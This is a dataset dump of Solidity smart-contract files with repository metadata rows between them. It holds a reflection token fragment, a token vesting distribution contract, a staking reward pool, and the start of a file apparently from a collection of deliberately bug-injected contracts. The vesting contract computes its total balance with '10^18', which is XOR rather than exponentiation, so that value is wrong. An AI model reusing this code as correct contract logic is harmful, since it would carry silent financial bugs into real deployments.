(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 76,664 | 251 |
855ed310e30bb9737a7200a8dbc77bd524b74e71b2171c039bcdf4f6c6ef85cd
| 36,725 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d6/d62742848063377a839204445ccd746d00c59fc5_HEC_Seed_Distribution.sol
| 5,033 | 19,762 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
abstract contract HEC_Base_Distribution is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 public constant TGE_EPOCH_TIME = 1642600800; //UTC: Wednesday, January 19, 2022 2:00:00 PM
event RewardClaimed(address indexed user, uint256 amount);
address public immutable HeC;
uint256 public totalDebt;
mapping(address => uint) public walletIndices;
WalletInfo[] public wallets;
struct WalletInfo {
address recipient;
uint256 unlockedBalance;
uint256 lockedBalance;
uint256 initialBalance;
uint256 releaseAmountPerDay;
uint256 claimableEpochTime;
}
function getTotalContractBalance() public virtual pure returns(uint256);
function getCliffEndEpochTime() public virtual pure returns(uint256);
function getVestingEndEpochTime() public virtual pure returns(uint256);
function getTGEUnlockPercentage() public virtual pure returns(uint256);
constructor(address _hec) {
require(_hec != address(0));
HeC = _hec;
totalDebt = 0;
}
function claim() external nonReentrant {
uint256 index = walletIndices[msg.sender];
require(uint256(block.timestamp) > TGE_EPOCH_TIME, "Request not valid.");
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[ index ].lockedBalance.add(wallets[ index ].unlockedBalance) > 0, "There is no balance left to claim.");
uint256 valueToSendFromVesting = calculateClaimableAmountForVesting(index);
uint256 valueToSendFromTGE = wallets[ index ].unlockedBalance;
uint256 valueToSendTOTAL = valueToSendFromVesting.add(valueToSendFromTGE);
require(valueToSendTOTAL > 0, "There is no balance to claim at the moment.");
uint256 vestingDayCount = calculateVestingDayCount(wallets[ index ].claimableEpochTime, uint256(block.timestamp));
wallets[ index ].lockedBalance = wallets[ index ].lockedBalance.sub(valueToSendFromVesting);
wallets[ index ].unlockedBalance = wallets[ index ].unlockedBalance.sub(valueToSendFromTGE);
wallets[ index ].claimableEpochTime = wallets[ index ].claimableEpochTime.add(vestingDayCount.mul(SECONDS_PER_DAY));
totalDebt = totalDebt.sub(valueToSendTOTAL);
IERC20(HeC).safeTransfer(msg.sender, valueToSendTOTAL);
emit RewardClaimed(msg.sender, valueToSendTOTAL);
}
function claimable() public view returns (uint256) {
uint256 index = walletIndices[ msg.sender ];
require(wallets[ index ].recipient == msg.sender, "Request not valid.");
if (uint256(block.timestamp) <= TGE_EPOCH_TIME)
return 0;
return wallets[ index ].unlockedBalance.add(calculateClaimableAmountForVesting(index));
}
function calculateClaimableAmountForVesting(uint256 _index) private view returns (uint256) {
//initial value of current claimable time is the ending time of cliff/lock period
//after first claim, this value is iterated forward by the time unit amount claimed.
//for instance, this calculations gives the number of days passed since last claim (or TGE time)
//we use the number of seconds passed and divide it by number of seconds per day
uint256 vestingDayCount = calculateVestingDayCount(wallets[ _index ].claimableEpochTime, uint256(block.timestamp));
uint256 valueToSendFromVesting = wallets[ _index ].releaseAmountPerDay.mul(vestingDayCount);
//If claim time is after Vesting End Time, send all the remaining tokens.
if (uint256(block.timestamp) > getVestingEndEpochTime())
valueToSendFromVesting = wallets[ _index ].lockedBalance;
if (valueToSendFromVesting > wallets[ _index ].lockedBalance) {
valueToSendFromVesting = wallets[ _index ].lockedBalance;
}
return valueToSendFromVesting;
}
function calculateVestingDayCount(uint256 _start_time, uint256 _end_time) private pure returns (uint256) {
if (_end_time <= _start_time)
return 0;
return (_end_time - _start_time).div(SECONDS_PER_DAY);
}
function _addRecipient(address _recipient, uint256 _tokenAmount) internal {
uint256 index = walletIndices[ _recipient ];
if(wallets.length > 0) {
require(index == 0, "Address already in list.");
}
require(_recipient != address(0), "Recipient address cannot be empty.");
require(_tokenAmount > 0, "Token amount invalid.");
require(totalDebt.add(_tokenAmount) <= IERC20(HeC).balanceOf(address(this)), "Cannot add this debt amount due to the balance of this Contract.");
uint256 vestingDayCount = calculateVestingDayCount(getCliffEndEpochTime(), getVestingEndEpochTime());
require(vestingDayCount > 0, "Unexpected vesting day count.");
uint256 _unlockedBalance = _tokenAmount.mul(getTGEUnlockPercentage()).div(100);
uint256 _lockedBalance = _tokenAmount.sub(_unlockedBalance);
uint256 _releaseAmountPerDay = _lockedBalance.div(vestingDayCount);
wallets.push(WalletInfo({
recipient: _recipient,
unlockedBalance: _unlockedBalance,
lockedBalance: _lockedBalance,
initialBalance: _tokenAmount,
releaseAmountPerDay: _releaseAmountPerDay,
claimableEpochTime: getCliffEndEpochTime()
}));
walletIndices[_recipient] = wallets.length - 1;
totalDebt = totalDebt.add(_tokenAmount);
}
function _removeRecipient(uint256 _index, address _recipient) internal {
require(_recipient == wallets[ _index ].recipient, "Recipient index does not match.");
totalDebt = totalDebt.sub(wallets[ _index ].lockedBalance).sub(wallets[ _index ].unlockedBalance);
wallets[ _index ].recipient = address(0);
wallets[ _index ].releaseAmountPerDay = 0;
wallets[ _index ].claimableEpochTime = 0;
wallets[ _index ].unlockedBalance = 0;
wallets[ _index ].lockedBalance = 0;
}
function addRecipients(address[] memory _recipients, uint256[] memory _tokenAmounts) external onlyOwner() {
require(_recipients.length == _tokenAmounts.length, "Array sizes do not match.");
for(uint i = 0; i < _recipients.length; i++) {
_addRecipient(_recipients[i], _tokenAmounts[i]);
}
}
function removeRecipients(uint256[] memory _indices, address[] memory _recipients) external onlyOwner() {
require(_recipients.length == _indices.length, "Array sizes do not match.");
for(uint256 i = 0; i < _recipients.length; i++) {
_removeRecipient(_indices[i], _recipients[i]);
}
}
}
contract HEC_Seed_Distribution is HEC_Base_Distribution {
//Constants - In accordance with Token Distribution Plan
uint256 public constant TOTAL_CONTRACT_BALANCE = 5500000 * 10^18; //5.5% (5.5 million)
uint256 public constant TGE_UNLOCK_PERCENTAGE = 5; //5%
uint256 public constant CLIFF_END_EPOCH_TIME = 1654264800; //UTC: Friday, June 3, 2022 2:00:00 PM
uint256 public constant VESTING_END_EPOCH_TIME = 1693749600; //UTC: Sunday, September 3, 2023 2:00:00 PM
constructor(address _hec) HEC_Base_Distribution(_hec) {
require(_hec != address(0));
}
function getTotalContractBalance() public override pure returns(uint256) {
return TOTAL_CONTRACT_BALANCE;
}
function getCliffEndEpochTime() public override pure returns(uint256){
return CLIFF_END_EPOCH_TIME;
}
function getVestingEndEpochTime() public override pure returns(uint256){
return VESTING_END_EPOCH_TIME;
}
function getTGEUnlockPercentage() public override pure returns(uint256){
return TGE_UNLOCK_PERCENTAGE;
}
}
| 115,067 | 252 |
84c4c21942e68c36b4c94256432c051a7a68e98366329c02159c40ab0fc8e9d0
| 15,649 |
.sol
|
Solidity
| false |
440059585
|
synassets/contracts
|
d4efb39761ae6c6e831fec2609467de1c6c998dc
|
contracts/ConsensusPool.sol
| 4,115 | 15,369 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
function mul32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IDistributor {
function distribute() external returns (bool);
}
// 7.97%
contract ConsensusPool {
using LowGasSafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 power;
uint256 number;
uint256 reward;
uint256 totalReward;
uint256 rewardCounter;
uint256 claimCounter;
uint256 burnAmount;
uint256 totalBurnAmount;
uint256 inviteeCounter;
address inviter;
}
struct InviteeInfo {
uint256 power;
uint256 claimCounterSnapshot;
}
struct Epoch {
uint256 length;
uint256 number;
uint256 endBlock;
uint256 distribute;
}
struct EpochInfo {
uint256 rewardPerPower;
uint256 rewardPerPowerStoredSnapshot;
}
address public SYNASSETS;
address public sSYNASSETS;
uint256 public totalPower;
uint256 public rewardPerPowerStored;
uint256 public totalRewardReserves;
mapping(address => UserInfo) public userInfos;
mapping(address => mapping(address => InviteeInfo)) public inviteeInfos;
mapping(uint256 => EpochInfo) public epochInfos;
Epoch public epoch;
address public distributor;
address public stakingContract;
uint256 public constant REWARD_LIMIT = 9;
uint256 public constant RATIO_DECAY = 797; // in(1/10000)
uint256 public constant RATIO_DECAY_T10 = 5642;
event Invited(address indexed inviter, address user);
event RewardAdded(uint256 reward);
event RewardBurn(address indexed account, uint256 reward);
event Staked(address indexed staker, address indexed inviter, uint256 amount);
event Unstaked(address indexed unstaker, address indexed inviter, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
function initialize (address _SYNASSETS,
address _sSYNASSETS,
uint256 _epochLength,
uint256 _firstEpochNumber,
uint256 _firstEpochBlock,
address _stakingContract,
address _distributor) external {
require(SYNASSETS == address(0), 'AI');
require(_SYNASSETS != address(0));
SYNASSETS = _SYNASSETS;
require(_sSYNASSETS != address(0));
sSYNASSETS = _sSYNASSETS;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
stakingContract = _stakingContract;
distributor = _distributor;
}
modifier onlyStakingContract() {
require(msg.sender == stakingContract, 'OSC');
_;
}
function stake(address _staker, address _inviter, uint256 _amount) external onlyStakingContract() {
if (userInfos[_staker].inviter == address(0)) {
userInfos[_staker].inviter = _inviter;
userInfos[_inviter].inviteeCounter ++;
emit Invited(_inviter, _staker);
}
_inviter = userInfos[_staker].inviter;
require(_inviter != address(0), 'IA');
_notifyRewardAmount();
_updateReward(_inviter);
totalPower = totalPower.add(_amount);
userInfos[_inviter].power = userInfos[_inviter].power.add(_amount);
uint256 _powerBefore = _calcPower(_inviter, _staker);
inviteeInfos[_inviter][_staker].power = _powerBefore.add(_amount);
inviteeInfos[_inviter][_staker].claimCounterSnapshot = userInfos[_inviter].claimCounter;
emit Staked(_staker, _inviter, _amount);
}
function unstake(address _unstaker, uint256 _amount) external onlyStakingContract() {
address _inviter = userInfos[_unstaker].inviter;
_updateReward(_inviter);
uint256 _powerBefore = _calcPower(_inviter, _unstaker);
uint256 _powerAfter = _powerBefore.sub(_powerBefore.mul(_amount).div(_amount.add(IERC20(sSYNASSETS).balanceOf(_unstaker))));
totalPower = totalPower.add(_powerAfter).sub(_powerBefore);
userInfos[_inviter].power = userInfos[_inviter].power.add(_powerAfter).sub(_powerBefore);
inviteeInfos[_inviter][_unstaker].power = _powerAfter;
inviteeInfos[_inviter][_unstaker].claimCounterSnapshot = userInfos[_inviter].claimCounter;
emit Unstaked(_unstaker, _inviter, _amount);
}
function claimReward() external {
_updateReward(msg.sender);
uint256 _reward = userInfos[msg.sender].reward;
if (_reward > 0) {
userInfos[msg.sender].reward = 0;
userInfos[msg.sender].claimCounter = userInfos[msg.sender].claimCounter.add(userInfos[msg.sender].rewardCounter);
userInfos[msg.sender].rewardCounter = 0;
IERC20(SYNASSETS).safeTransfer(msg.sender, _reward);
uint256 _burnAmount = userInfos[msg.sender].burnAmount;
if (_burnAmount > 0) {
IERC20(SYNASSETS).burn(_burnAmount);
emit RewardBurn(msg.sender, _burnAmount);
userInfos[msg.sender].burnAmount = 0;
}
totalRewardReserves = totalRewardReserves.sub(_reward.add(_burnAmount));
emit RewardPaid(msg.sender, _reward);
}
}
function _updateReward(address _account) internal {
UserInfo memory _userInfo = userInfos[_account];
if (_userInfo.power > 0) {
(uint256 _reward, uint256 _number, uint256 _power, uint256 _rewardCounter) = _calcReward(_userInfo);
if (_rewardCounter > 0) {
userInfos[_account].power = _power;
totalPower = totalPower.add(_power).sub(_userInfo.power);
userInfos[_account].reward = _userInfo.reward.add(_reward);
userInfos[_account].totalReward = _userInfo.totalReward.add(_reward);
userInfos[_account].rewardCounter = _userInfo.rewardCounter.add(_rewardCounter);
}
if (_number < epoch.number) {
uint256 burnAmountPerPower = rewardPerPowerStored.sub(epochInfos[_number].rewardPerPowerStoredSnapshot);
if (burnAmountPerPower > 0) {
uint256 burnAmount = _userInfo.power.mul(burnAmountPerPower).div(1 ether);
userInfos[_account].burnAmount = _userInfo.burnAmount.add(burnAmount);
userInfos[_account].totalBurnAmount = _userInfo.totalBurnAmount.add(burnAmount);
}
}
}
userInfos[_account].number = epoch.number;
}
function _notifyRewardAmount() internal {
if (epoch.endBlock <= block.number) {
uint256 distribute = epoch.distribute;
if (distribute > 0) {
emit RewardAdded(distribute);
if (totalPower == 0) {
IERC20(SYNASSETS).burn(distribute);
emit RewardBurn(address(0), distribute);
totalRewardReserves = totalRewardReserves.sub(distribute);
} else {
uint256 _rewardPerPower = distribute.mul(1 ether).div(totalPower);
rewardPerPowerStored = rewardPerPowerStored.add(_rewardPerPower);
uint256 number = epoch.number;
epochInfos[number].rewardPerPower = _rewardPerPower;
epochInfos[number].rewardPerPowerStoredSnapshot = rewardPerPowerStored;
}
}
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint256 balance = IERC20(SYNASSETS).balanceOf(address(this));
if (balance <= totalRewardReserves)
epoch.distribute = 0;
else
epoch.distribute = balance.sub(totalRewardReserves);
totalRewardReserves = balance;
}
}
function getInfo(address _account) public view returns (uint256 claimableAmount, uint256 totalReward, uint256 power, uint256 inviteNum, uint256 burnAmount) {
UserInfo memory _userInfo = userInfos[_account];
(uint256 _reward, , uint256 _power,) = _calcReward(_userInfo);
return (_reward.add(_userInfo.reward), _reward.add(_userInfo.totalReward), _power, _userInfo.inviteeCounter, _userInfo.totalBurnAmount);
}
function _calcPower(address _account, address _invitee) internal view returns (uint256) {
uint256 _claimCounter = userInfos[_account].claimCounter;
InviteeInfo memory _info = inviteeInfos[_account][_invitee];
if (_claimCounter <= _info.claimCounterSnapshot) return _info.power;
uint256 _t = _claimCounter - _info.claimCounterSnapshot;
if (_t >= 100) return 0;
uint256 _powerDecay = _info.power;
uint256 _t10 = _t / 10;
if (_t10 > 0) _powerDecay = _powerDecay.mul((10000 - RATIO_DECAY_T10) ** _t10).div(10000 ** _t10);
uint256 _t1 = _t % 10;
if (_t1 > 0) _powerDecay = _powerDecay.mul((10000 - RATIO_DECAY) ** _t1).div(10000 ** _t1);
return _powerDecay;
}
function _calcReward(UserInfo memory _userInfo) internal view returns (uint256 reward_, uint256 number_, uint256 power_, uint256 rewardCounter_) {
uint256 _number = epoch.number;
reward_ = 0;
number_ = _userInfo.number;
power_ = _userInfo.power;
rewardCounter_ = 0;
for (; number_ < _number && _userInfo.rewardCounter.add(rewardCounter_) < REWARD_LIMIT; number_ = number_.add(1)) {
reward_ = reward_.add(epochInfos[number_].rewardPerPower.mul(power_).div(1 ether));
power_ = power_.mul((10000 - RATIO_DECAY)).div(10000);
rewardCounter_ ++;
}
number_ = number_.sub(1);
}
}
| 22,938 | 253 |
5bcb79f812488964a94163794a3956450e273d1c346332870cace9092ac6ee28
| 18,822 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/hashWithMulVarLenArg/0xae4c306ce6641e1276c57473f2c2953841f0856a_hashWithMulVarLenArg.sol
| 5,289 | 17,080 |
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
// NOTE: this interface lacks return values for transfer/transferFrom/approve on purpose,
// as we use the SafeERC20 library to check the return value
interface GeneralERC20 {
function transfer(address to, uint256 amount) external;
